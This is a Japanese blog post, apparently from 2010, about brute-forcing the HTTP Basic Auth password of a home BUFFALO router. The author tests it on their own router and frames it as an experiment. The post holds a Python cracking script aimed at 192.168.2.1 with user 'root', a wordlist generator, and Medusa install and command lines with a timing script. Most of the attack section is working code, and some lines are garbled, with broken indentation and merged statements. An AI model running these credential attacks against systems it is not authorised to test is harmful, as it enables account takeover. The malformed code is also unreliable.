鍵が見つかるとpassword="aa" 119 second のように文字列と経過秒数を表示して終了します。

 

そして、速度がものすごく遅いので正直使い物にはなりません。

1秒で2~3回程度の認証しかできません。

※追記:1秒で一回だった。スレッド処理なし。

 

総当たりでは文字数が多くなればなるほど解読に時間がかかるけど、4桁のパスワードだと想定してみても、

 

36*36*36*36 = 1679616通り

1秒で3回のアタックが可能だとすると

1分あたり180回

1679616/180/60 = 155.52時間

まぁ……一応現実的な時間ですかね?

使えません。

 

以下がプログラム: [ brute-force-attacker.py ]

#-------------------------------------------------------------------------------
# Name: brute force attacker
# Purpose:
#
# Author: Administrator
#
# Created: 19/11/2010
# Copyright: (c) Administrator 2010
# Licence: <your licence>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
from urllib2 import *
import time
import base64
user = "root"
password = ""
def brutus(count): if count != 1:
  for i in range(97,127):
  global password
  password += chr(i)
  if brutus(count-1)==1:
    return 1
  password = password[0:len(password)-1]
  else:
    for i in range(97,127):
      tmp = password
      tmp += chr(i)
      request = Request("http://192.168.2.1/index.html")
      base64string = base64.encodestring('%s:%s' % (user, tmp)).replace('\n', '')
      request.add_header("Authorization", "Basic %s" % base64string)
      try:
        urlopen(request).read
        print "Success !!\n"
        print "Password="+tmp+"\n"
        return 1
      except:
        print tmp
        pass
def main():
  start_time = time.time()
  count = 1 start_time = int(time.time())
  while(1):
    if brutus(count) == 1:
      break
    count+=1
  end_time = int(time.time())
  use_time = end_time - start_time
  print str(use_time)+"second\n"
  print str(int(use_time)/60)+"minute\n"
if __name__ == '__main__':
  main()

 

インターネット上のツール

ネットに転がってるツールとしては、windwos用ではbrutusLinux用ではMedusa,Hydraなどが有名ではないかと。

自分で総当たり用の辞書を作ってmedusaなどで指定してあげればオンラインパスクラができるので、自宅のルータのパスなどの解読までどれくらいの時間がかかるのかを試してみるといいかもしれません。

 

medusaを使ってルータのパスワードをクラックしてみる。

実験環境はルータは上記で出てきたBUFFALO製のもの。

攻撃用のマシンとしてはLinux(Fedora15)を使用します。

 

1.medusaをインストールします

Hydraと違いmedusaはyumからインストールできます。

 

# yum install medusa

 

インストールが完了すればmedusaコマンドでオプションを見れるようになります。

 

2.総当たりに使用する辞書ファイルを作成する

簡単なので辞書ファイルを作成するプログラムをpythonで組んでしまいます。

 

以下がプログラム [ make-zisyo.py ]

#-------------------------------------------------------------------------------
# Name: module1
# Purpose:
#
# Author: Administrator
#
# Created: 19/11/2010
# Copyright: (c) Administrator 2010
# Licence: <your licence>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
from urllib2 import *
import time
import sys password = ""
def brutus(count,fd):
  if count != 1:
    for i in range(97,127):
      global password
      password += chr(i)
      brutus(count-1,fd)
      password = password[0:len(password)-1]
  else:
    for i in range(97,127):
      tmp = password
      tmp += chr(i)
      fd.write(tmp + "\n")
def main():   max_count = int(sys.argv[1])+1
  count = 1
  fd = open("bruteforce.zisho","w")
  while(1):     if count != max_count:
      brutus(count,fd)
    else:
      break
    count += 1
if __name__ == '__main__':
  main()

 

3.medusaに辞書ファイル・対象ホスト・moduleを指定して実行

表記方法: medusa -h [対象ホスト] -u [ユーザ名] -P [パスワード辞書ファイル] -M [モジュール]

オプションの-u-pは大文字の-U-Pにすることで辞書ファイルを指定できる。小文字ならただの文字列。

今回はパスワードの部分を総当たりで作った辞書で補うのでPは大文字

そして、実行時間を調べるためにシェルスクリプトを組んで実行時間を計測する。

 

 プログラム [ medusa.sh ]

#!/bin/bash START=`date +%s`
medusa -h 192.168.2.1 -u root -P ./brutus.zisho -M http
END=`date +%s`
RESULT=`expr ${END} - ${START}`
echo "${RESULT}: seconds!!"

 

これでmedusaを使ったパスワードクラックは終了します。

medusaでは上記の同じ条件下で実行した結果25秒程度で終了しました。

実行速度の差を測る必要はありませんね。

遊びで作ったプログラムよりはるかに早く質が高いです。

他のオンライン上のサービスに自分のアカウントのパスワードをmedusaでチェックすると、パスワードが間違っているのに[SUCCESS] と出てしまう。